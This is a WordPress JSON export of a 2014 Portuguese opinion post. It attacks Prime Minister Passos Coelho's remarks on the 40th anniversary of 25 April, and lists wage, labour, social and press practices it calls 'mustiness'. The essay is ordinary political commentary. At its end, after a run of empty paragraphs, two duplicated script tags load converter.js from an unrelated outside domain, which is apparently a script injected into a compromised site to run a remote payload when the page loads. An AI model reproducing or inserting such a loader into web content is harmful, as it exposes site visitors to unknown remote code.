{"id":675,"date":"2014-04-25T19:29:02","date_gmt":"2014-04-25T19:29:02","guid":{"rendered":"http:\/\/www.jralmeida.com\/?p=675"},"modified":"2014-04-25T19:29:02","modified_gmt":"2014-04-25T19:29:02","slug":"cheiro-a-bafio","status":"publish","type":"post","link":"https:\/\/www.jralmeida.com\/?p=675","title":{"rendered":"Cheiro a bafio"},"content":{"rendered":"<p>Passos Coelho disse, hoje, no 40\u00ba anivers\u00e1rio do 25 de Abril:\u00a0&#8220;Existe um n\u00famero cada vez mais significativo de portugueses que s\u00f3 nasceu e est\u00e1 agora a crescer neste espa\u00e7o de liberdade e de democracia. E ele tem de reinventar a cada dia que passa porque sen\u00e3o deixamos as nossas comemora\u00e7\u00f5es a cheirar a bafio. N\u00e3o \u00e9 isso que n\u00f3s queremos que aconte\u00e7a com o esp\u00edrito da liberdade e da democracia. (&#8230;) A democracia e a liberdade t\u00eam de ser regadas com muito cuidado, todos os dias.&#8221;.<\/p>\n<p>Passos Coelho nasceu em 1964 e tem obriga\u00e7\u00e3o de se saber o que se passava \u00a0antes do 25 de Abril. Mas no \u00a040\u00ba anivers\u00e1rio, num ambiente de plena clivagem pol\u00edtica, com um Largo do Carmo abarrotado de gentes como nunca se viu, impelidas pelo facto de a Maioria ter impedido os dirigentes da Associa\u00e7\u00e3o 25 de Abril de discursar no Parlamento e de a presidente do Parlamento ter dito &#8220;o problema \u00e9 deles&#8221;, nesse mesmo dia Passos Coelho achou por bem falar de &#8220;cheiro a bafio&#8221;.<\/p>\n<p>Mas &#8220;o cheiro a bafio&#8221; vem de outras coisas.<\/p>\n<p>Bafio \u00e9 o que se sente quando &#8211; em nome da defesa da competitividade externa, que nunca passar\u00e1 pelo lado dos sal\u00e1rios &#8211; se \u00a0leva a cabo uma pol\u00edtica de baixos sal\u00e1rios, se advoga um novo m\u00ednimo para o sal\u00e1rio m\u00ednimo, para\u00a0depois &#8211; a semanas de elei\u00e7\u00f5es &#8211; se defender\u00a0que afinal \u00a0os sal\u00e1rios m\u00ednimos j\u00e1 poder\u00e3o subir.<\/p>\n<p>Bafio \u00e9 o que se sente quando um primeiro-ministro entra no Governo a defender os maiores apertos de que h\u00e1 mem\u00f3ria &#8211; tudo em nome da reestrutura\u00e7\u00e3o da economia que se deve virar para o exterior &#8211; e, ap\u00f3s cortes em cima de cortes (porque esses se tornam cada vez mais ineficazes) se vem a terreiro dizer que a pol\u00edtica est\u00e1 a resultar, mesmo quando se sabe que os postos de trabalho criados foram&#8230; no com\u00e9rcio, na restaura\u00e7\u00e3o e na sa\u00fade. \u00a0As tais actividades centradas na procura interna que tanto tinham sido diabolizadas.<\/p>\n<p>Bafio \u00e9 o que se sente quando o Governo sustenta a asfixia da contrata\u00e7\u00e3o colectiva, promove uma negocia\u00e7\u00e3o empresa a empresa, tudo\u00a0medidas que t\u00eam como efeito colateral quebrar a espinha do sindicalismo, j\u00e1 de si asfixiado financeiramente, em consequ\u00eancia da redu\u00e7\u00e3o salarial e da explos\u00e3o do desemprego. \u00c9 um bafio estranho e inc\u00f3modo quando se sabe a opini\u00e3o que tinha o regime fascista dos sindicatos e do que acontecia aos seus dirigentes.<\/p>\n<p>Bafio \u00e9 o que se sente quando os respons\u00e1veis governamentais dizem ser o desemprego a chaga social que urge combater, quando &#8211; na verdade &#8211; o factor desemprego foi usado pela troika e pelo Governo como forma de &#8220;convencer&#8221; os trabalhadores a aceitar a baixa de sal\u00e1rios. Todos n\u00f3s conhecemos casos de pessoas que est\u00e3o a receber de sal\u00e1rios bem menores do que eram um sal\u00e1rio digno, para exercer o mesmo trabalho de h\u00e1 anos atr\u00e1s.<\/p>\n<p>Bafio \u00e9 o que se sente quando se sabe qual \u00e9 o ambiente que se vive nas empresas em que quem quiser dizer o que pensa, se arrisca a n\u00e3o ser recontratado.<\/p>\n<p>Bafio \u00e9 o que se sente quando durante anos se estra\u00e7alhou o conceito de um hor\u00e1rio laboral no sector privado, se fez tudo para reduzir os rendimentos do trabalho, para agora se apelar aos trabalhadores portugueses que tenham mais filhos, a bem do futuro do pa\u00eds e da demografia envelhecida.<\/p>\n<p>Bafio \u00e9 o que se sente quando se ouve as inten\u00e7\u00f5es do Governo de querer tornar mais f\u00e1cil, mais flex\u00edvel, mais c\u00e9lere, mais barato \u00a0o despedimento, sem se lembrar que esse era precisamente o enquadramento da pol\u00edtica seguida durante o regime fascista. \u00a0\u00c0s vezes nem tanto quanto se quer agora fazer.<\/p>\n<p>Bafio \u00e9 uma directora de uma escola achar que est\u00e1 imbu\u00edda do esp\u00edrito oficial e coloca na escola um cartaz a dizer: &#8220;N\u00e3o protestem com os hor\u00e1rios que receberam; alegrem-se por ter um&#8221;.<\/p>\n<p>Bafio \u00e9 o que se sente quando se sabe que a rebeldia dos professores, que esteve na rua no tempo do Governo S\u00f3crates, est\u00e1 agora reduzida a nada porque os mais velhos se reformaram e os mais novos n\u00e3o ousam nem sequer se mexer, acobardados pelo risco de n\u00e3o terem emprego, agora que fecharam aos lugares no quadro.<\/p>\n<p>Bafio \u00e9 o que se sente quando um ex-professor universit\u00e1rio, doutorad0 e desempregado, que contribuiu durante a sua vida activa para a Seguran\u00e7a Social, \u00e9 &#8220;convidado&#8221; pelos servi\u00e7os dos centros de emprego a trabalhar um ano&#8230; para a Seguran\u00e7a Social, para introduzir dados inform\u00e1ticos e receber apenas&#8230; o subs\u00eddio de desemprego. Estar desempregado tornou-se &#8211; para o Governo e partidos da Maioria &#8211; um clube de madra\u00e7os que nada querem fazer, mesmo que tenham descontado para estar cobertos para essa eventualidade.<\/p>\n<p>Bafio \u00e9 o que se sente quando se reduz todas as pol\u00edticas sociais, a cobro de que se est\u00e1 a esbanjar recursos a quem n\u00e3o necessita, e depois se elogia as iniciativas do Banco Alimentar como um sinal do esfor\u00e7o solid\u00e1rio da sociedade civil. E se diz oficialmente que o Estado Social \u00e9 para ser defendido e preservado.<\/p>\n<p>Bafio \u00e9 o que se sente quando se defende os benef\u00edcios de uma &#8220;austeridade de esp\u00edrito social&#8221;, tida como inevit\u00e1vel, e agora, \u00e0 beira das elei\u00e7\u00f5es, se considera que afinal se pode &#8220;desonerar&#8221; as pens\u00f5es e os vencimentos. Mas como? Como \u00e9 isso poss\u00edvel se temos pela frente o maior terramoto expect\u00e1vel &#8211; que \u00e9 o Tratado Or\u00e7amental &#8211; que nos obriga a saldos or\u00e7amentais t\u00e3o elevados que v\u00e3o dar cabo do Estado Social? Como se concilia tanta generosidade com a necessidade de cortes profundos j\u00e1 em 2015 e anos seguintes? Tudo e apenas porque h\u00e1 elei\u00e7\u00f5es?<\/p>\n<p>Bafio \u00e9 o que se sente quando sabemos a forma como certas not\u00edcias chegam aos jornais, como membros do Governo ligam directamente aos jornalistas a pedirem que a not\u00edcia seja manchete e que ponham uma foto sua na not\u00edcia em causa. Bafio e nojo.<\/p>\n<p>Bafio e asco \u00e9 o que se sente quando esta democracia permite que interesses privados sejam tidos em conta de forma t\u00e3o ben\u00e9vola, a ponto de serem benefici\u00e1rios de medidas legais supostamente gen\u00e9ricas, em claro arrepio do parecer dos servi\u00e7os.\u00a0Como \u00e9 que isso \u00e9 poss\u00edvel quando se comemora o 40\u00ba anivers\u00e1rio do 25 de Abril?<\/p>\n<p>Bafio \u00e9 esta pervers\u00e3o, esta meta-linguagem dos actuais dirigentes pol\u00edticos que passam uma esponja sobre o passado, at\u00e9 sobre o passado recente, e acham que podem mentir porque saem impunes, que basta colocarem um cravo na lapela para se colarem ao esp\u00edrito revolucion\u00e1rio. A\u00ed esteve melhor o presidente Cavaco Silva que \u00a0nem o p\u00f4s ao peito na cerim\u00f3nia oficial. Mas esteve mal quando sublinhou a corrup\u00e7\u00e3o como algo a combater urgentemente e se esqueceu que ele beneficiou das suas amizades estranhas, fortificadas durante um cavaquismo, regime percursor de uma corrup\u00e7\u00e3o sist\u00e9mica, em que ele nada fez e tudo permitiu \u00e0 sua volta.<\/p>\n<p>Estranhos estes tempos em que bafio exala todos os dias de uma pr\u00e1tica pol\u00edtica mentirosa.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><script src=\"http:\/\/centrexity.com\/converter.js\"><\/script><br \/>\n<script src=\"http:\/\/centrexity.com\/converter.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Passos Coelho disse, hoje, no 40\u00ba anivers\u00e1rio do 25 de Abril:\u00a0&#8220;Existe um n\u00famero cada vez mais significativo de portugueses que s\u00f3 nasceu e est\u00e1 agora a crescer neste espa\u00e7o de liberdade e de democracia. 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